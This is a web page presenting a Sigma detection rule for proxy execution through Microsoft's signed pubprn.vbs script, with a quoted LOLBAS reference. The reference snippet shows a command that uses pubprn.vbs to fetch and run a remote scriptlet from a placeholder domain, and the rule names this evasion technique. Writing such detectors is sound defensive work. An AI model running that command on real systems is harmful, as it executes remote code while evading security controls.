Pubprn.vbs Proxy Execution

calendar Oct 17, 2023 · attack.defense_evasion attack.t1216.001  ·
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Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.

Sigma rule (View on GitHub)

 1title: Pubprn.vbs Proxy Execution
 2id: 1fb76ab8-fa60-4b01-bddd-71e89bf555da
 3status: test
 4description: Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.
 5references:
 6    - https://lolbas-project.github.io/lolbas/Scripts/Pubprn/
 7author: frack113
 8date: 2022/05/28
 9tags:
10    - attack.defense_evasion
11    - attack.t1216.001
12logsource:
13    category: process_creation
14    product: windows
15detection:
16    selection:
17        CommandLine|contains|all:
18            - '\pubprn.vbs'
19            - 'script:'
20    condition: selection
21falsepositives:
22    - Unknown
23level: medium

References

  • Pubprn | LOLBAS

    Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection pubprn.vbs 127.0.0.1 script:https://domain.com/folder/file.sct Use caseProxy execution Privileges requi...


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